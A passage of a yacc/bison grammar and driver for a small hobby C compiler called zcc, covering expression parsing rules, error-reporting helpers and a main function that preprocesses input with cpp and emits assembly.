| '~' expr_unary %prec UNARY
{
$$ = new_node('~', 1);
$$->arg[0] = $2;
$$->decl = $2->decl;
}
| '*' expr_unary %prec UNARY
{
if ($2->decl->decl_type != DECL_POINTER) {
yyerror("dereferenced expression is not a pointer");
}
$$ = new_node('*', 1);
$$->arg[0] = $2;
$$->decl = $2->decl->next;
}
| '&' expr_unary %prec UNARY
{
if ($2->op == '*' && $2->numargs == 1) {
$$ = $2->arg[0];
delete_node($2);
} else {
check_lhs($2);
$$ = new_node('&', 1);
$$->arg[0] = $2;
$$->decl = malloc(sizeof(DECL));
$$->decl->decl_type = DECL_POINTER;
$$->decl->next = $2->decl;
}
}
| '-' expr_unary %prec UNARY
{
if ($2->op == NUMBER) {
$2->data.value = -$2->data.value;
$$ = $2;
} else {
$$ = new_node('-', 1);
$$->arg[0] = $2;
$$->decl = $2->decl;
}
}
| '+' expr_unary %prec UNARY
{
$$ = $2;
}
| SIZEOF expr_unary %prec UNARY
{
/* XXX should also be able to take types */
$$ = new_node(SIZEOF, 1);
$$->arg[0] = $2;
$$->decl = malloc(sizeof(DECL));
$$->decl->decl_type = DECL_BASIC_TYPE;
$$->decl->data.type.type = INT;
$$->decl->data.type.is_signed = 0;
$$->decl->next = NULL;
}
| '(' type { cur_type = $2; } cast_decl ')' expr_unary %prec UNARY
{
$$ = new_node(CAST, 1);
$$->arg[0] = $6;
$$->decl = $4->decl;
}
;
expr_deref:
expr_item
| expr_deref '[' expression ']'
{
int type1, type2;
type1 = $1->decl->decl_type;
type2 = $3->decl->decl_type;
if ((type1 == DECL_POINTER || type1 == DECL_ARRAY) ==
(type2 == DECL_POINTER || type2 == DECL_ARRAY)) {
yyerror("illegal array dereference");
}
if (type1 != DECL_BASIC_TYPE &&
type2 != DECL_BASIC_TYPE) {
yyerror("illegal array dereference");
}
$$ = new_node('*', 1);
$$->arg[0] = new_node('+', 2);
if (type1 == DECL_BASIC_TYPE) {
$$->decl = $3->decl->next;
$$->arg[0]->arg[0] = $3;
$$->arg[0]->arg[1] = $1;
} else {
$$->decl = $1->decl->next;
$$->arg[0]->arg[0] = $1;
$$->arg[0]->arg[1] = $3;
}
}
| expr_item '(' func_params ')'
{
if ($1->decl->decl_type != DECL_FUNCTION) {
yyerror("illegal function call");
}
$$ = new_node('(', 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
$$->decl = $1->decl->next;
}
/*
| expr_deref DEREF IDENT
{
$$ = new_node(DEREF, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
}
| expr_deref DEREF_PTR IDENT
{
$$ = new_node(DEREF_PTR, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
}
*/
;
expr_item:
IDENT
{
VARIABLE *var;
var = get_ident($1, NAME_SPACE_VARIABLE);
if (var == NULL) {
// XXX this next check fails because yychar == YYEMPTY (-2) sometimes.
// I think it used to work. It means that functions are found to be
// variables, which later fails and crashes.
if (yychar == '(') {
yywarning("implicit declaration of function `%s'", $1);
var = new_ident($1, NAME_SPACE_VARIABLE, SCOPE_GLOBAL);
var->decl = malloc(sizeof(DECL));
var->decl->decl_type = DECL_FUNCTION;
var->decl->data.args = NULL;
} else {
yyerror("`%s' undeclared (first use this function)", $1);
if (!already_report_once) {
yyerror("(Each undeclared identifier is reported "
"only once");
yyerror("for each function it appears in.)");
already_report_once = 1;
}
var = new_ident($1, NAME_SPACE_VARIABLE, SCOPE_FUNCTION);
var->decl = malloc(sizeof(DECL));
var->decl->decl_type = DECL_BASIC_TYPE;
var->decl->data.type.type = INT;
var->decl->data.type.is_signed = 1;
}
}
$$ = new_node(IDENT, 0);
$$->data.var = var;
$$->decl = var->decl;
/* XXX Convert arrays to pointers */
}
| NUMBER
{
$$ = new_node(NUMBER, 0);
$$->data.value = $1;
$$->decl = malloc(sizeof(DECL));
$$->decl->decl_type = DECL_BASIC_TYPE;
$$->decl->data.type.type = INT;
$$->decl->data.type.is_signed = 1;
$$->decl->next = NULL;
}
| STRING
{
$$ = new_node(STRING, 0);
$$->data.address = register_string($1);
$$->decl = malloc(sizeof(DECL));
$$->decl->decl_type = DECL_POINTER;
$$->decl->next = malloc(sizeof(DECL));
$$->decl->next->decl_type = DECL_BASIC_TYPE;
$$->decl->next->data.type.type = CHAR;
$$->decl->next->data.type.is_signed = 0;
$$->decl->next->next = NULL;
}
| '(' expression ')'
{
$$ = $2;
}
;
func_params:
{ $$ = NULL; }
| non_empty_func_params
;
non_empty_func_params:
expr_assign
{
$$ = $1;
}
| non_empty_func_params ',' expr_assign
{
$$ = new_node(FUNCTION_PARAM, 2);
$$->arg[0] = $1;
$$->arg[1] = $3;
}
;
%%
void yyerror(char *error, ...)
{
va_list args;
char buf[1024];
extern char *yytext;
fprintf(stderr, "%s:%d: ", filename, yylineno);
if (strcmp(error, "parse error") == 0) {
sprintf(buf, "parse error before `%s'", yytext);
error = buf;
}
va_start(args, error);
vfprintf(stderr, error, args);
va_end(args);
fprintf(stderr, "\n");
error_return = 1;
}
void yywarning(char *warning, ...)
{
va_list args;
fprintf(stderr, "%s:%d: warning: ", filename, yylineno);
va_start(args, warning);
vfprintf(stderr, warning, args);
va_end(args);
fprintf(stderr, "\n");
}
int yywrap(void)
{
return 1;
}
char *get_op_name(int op)
{
return (char *)yytname[YYTRANSLATE(op)];
}
void get_include_path(char *exe_pathname, char *include_path)
{
strcpy(include_path, exe_pathname);
char *c = strrchr(include_path, '/');
if (c == NULL) {
strcpy(include_path, ".");
} else {
*c = '\0';
}
strcat(include_path, "/include");
}
void get_filename(char *filename, char *pathname)
{
char *ch = strrchr(pathname, '/');
if (ch == NULL) {
strcpy(filename, pathname);
} else {
strcpy(filename, ch + 1);
}
}
int main(int argc, char *argv[])
{
int c, len;
char cmd[1024];
error_return = 0;
if (argc == 1) {
fprintf(stderr, "usage: zcc [-d] file.c\n");
exit(EXIT_FAILURE);
}
while ((c = getopt(argc, argv, "d")) != EOF) {
switch (c) {
case 'd':
yydebug = 1;
break;
default:
fprintf(stderr, "Unknown command-line switch: '%c'\n", (char)c);
exit(EXIT_FAILURE);
break;
}
}
if (optind == argc) {
fprintf(stderr, "Must specify input source file.\n");
exit(EXIT_FAILURE);
}
strcpy(pathname, argv[optind]);
get_filename(filename, pathname);
yyin = fopen(pathname, "r");
if (yyin == NULL) {
perror(pathname);
exit(EXIT_FAILURE);
}
fclose(yyin);
// Find the absolute path of include directory.
char include_path[1024];
get_include_path(argv[0], include_path);
sprintf(cmd, "/usr/bin/cpp -nostdinc -undef -I%s %s", include_path, pathname);
yyin = popen(cmd, "r");
init_lex();
// Make output filename. Same basename, ".s" extension in current directory.
strcpy(outfilename, filename);
len = strlen(outfilename);
if (len > 2 && strcmp(outfilename + len - 2, ".c") == 0) {
outfilename[len - 2] = '\0';
}
strcat(outfilename, ".s");
scope_start();
output_start(outfilename);
check_newfile();
yyparse();
output_end();
pclose(yyin);
scope_end();
if (unsupported == 1) {
printf("One use of an unsupported operator.\n");
} else if (unsupported > 1) {
printf("%d uses of unsupported operators.\n", unsupported);
}
return error_return;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.